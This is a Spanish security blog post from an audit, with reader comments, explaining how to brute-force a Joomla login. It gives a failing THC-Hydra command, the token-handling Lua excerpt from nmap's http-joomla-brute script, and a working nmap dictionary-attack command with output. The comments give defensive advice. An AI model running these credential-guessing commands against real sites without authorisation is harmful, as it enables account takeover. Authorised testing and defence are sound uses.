Nmap –script http-joomla-brute. Donde THC-Hydra no sirve.

Durante una auditoría reciente quise probar un poco la robustez de las contraseñas utilizadas y me lancé a intentar un ataque de diccionario sencillito contra el formulario de entrada de Joomla! por si existía alguna cuenta con una de esas contraseñas débiles. El formulario era el siguiente:

El método que apunta Rafa en su artículo THC-Hydra: Obtener credenciales de usuario por fuerza bruta es totalmente válido para formularios sencillos pero en este caso no nos sirve por una particularidad: si observamos el código del formulario vemos que, además de los parámetros username y passwd, tiene un campo oculto que varía en cada sesión. A continuación pego el código para que se vea a lo que me refiero:

Podemos ver cómo el último campo, que tiene un valor de 1, está formado por 32 dígitos en hexadecimal que se generan cada vez, por lo que no podemos saber a priori su valor e incluirlo en la petición de THC-Hydra. La petición utilizando la herramienta anterior sería algo así (remarco el parámetro de seguridad en negrita):

$ hydra -l admin -p admin1234 <server> http-post-form "/index.php:username=^USER^&
passwd=^PASS^&lang=&option=com_login&task=login&d0da78038c5132dcd84f11a4ddc83ed3=1:no 
encontrados"

No obstante, veremos que no funciona porque el código generado es diferente al indicado, por lo que el resultado será un mensaje de “Invalid Token”. Debido a esto, y tras varios intentos infructuosos tratando de recuperar ese valor e incluirlo en la petición de THC-Hydra sin éxito, recurrí a nmap para ver si tenía algún script que pudiera ayudar en esta situación.

Efectivamente, tras buscar información en Google y encontrar un script que parecía hacer lo que yo pretendía: http-joomla-brute. Revisé el código y vi que sí hacía uso del parámetro “security token” para contruir la petición, así que supuse que funcionaría en esta situación.

[...]
if response.body then 
	_, _, security_token = string.find(response.body, '<input type="hidden" 
                                           name="(%w+)" value="1" />') 
end 
if security_token then 
	stdnse.print_debug(2, "Security Token found:%s", security_token) 
else 
	stdnse.print_debug(2, "The security token was not found.") 
	return false 
end 
[...]

El código anterior busca dicho token en el formulario devuelto por el servidor y lo almacena en security_token, que lo utilizará más adelante al enviar el POST. Por eso, en caso de que el formulario incluya ese mecanismo de seguridad, podríamos utilizar nmap de la siguiente manera:

$ nmap -p80 --script http-joomla-brute --script-args 'userdb=user.txt,passdb=~/john-1.7.9/run/
password.lst,http-joomla-brute.hostname=,http-joomla-brute.threads=3,
brute.firstonly=true' <server>

Starting Nmap 6.00 ( http://nmap.org ) at 2013-01-30 14:49 CET 
Stats: 0:07:45 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan 
NSE Timing: About 0.00% done 
Stats: 0:09:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan 
NSE Timing: About 0.00% done 
Nmap scan report for <server> (192.168.XXX.XXX) 
Host is up (0.0038s latency). 
PORT   STATE SERVICE 
80/tcp open  http 
| http-joomla-brute: 
|   Accounts 
|     No valid accounts found 
|   Statistics 
|_    Performed 3546 guesses in 605 seconds, average tps: 5 

Nmap done: 1 IP address (1 host up) scanned in 604.97 seconds 

Espero que os sirva de ayuda y os ahorre tiempo ya que estuve un rato pegándome con THC-Hydra para ver cómo podía hacer que cogiera ese parámetro automáticamente, aunque si alguien conoce otra forma de hacerlo puede indicarlo en los comentarios.

Comments

  1. Me alegra que hayan encontrado útil uno de mis scripts. Y me gustaría aprovechar para invitarlos a que conozcan mi última publicación http://nmap-cookbook.com

    Saludos

  2. Gracias a tí por facilitarnos el trabajo y por leernos.

    Un saludo.

  3. Entonces cual es la manera de proteger un joomla? mediante un pass complicado de descifrar, no?

  4. Bueno, la respuesta/solución corta sería que es necesario poner una contraseña «fuerte», cambiarla anualmente e incluso deshabilitar los usuarios «por defecto», como el usuario admin, ya que casi siempre se lanza el ataque contra ese, y substituirlos por otros.

    La respuesta/solución larga sería establecer una política de contraseñas segura, mantener el portal y todos sus módulos actualizados y eliminar los que no se usen; e incluso se podría plantear la implantación de alguna solución IPS/WAF que pudiera bloquear este tipo de ataques.

    No obstante, según mi experiencia es más problable que accedan mediante alguna vulnerabilidad en el core o complementos, que por fuerza bruta. Como por ejemplo:

    CVE-2008-3681
    CVE-2011-4321

  5. Hola,

    Les recomiendo que modifiquen la forma de inicio de sesión (Cambiar de nombre de variables por ejemplo) de joomla para que el script ya no funcione «out of the box». Muchos script kiddies hasta ahí llegarán.

    Saludos.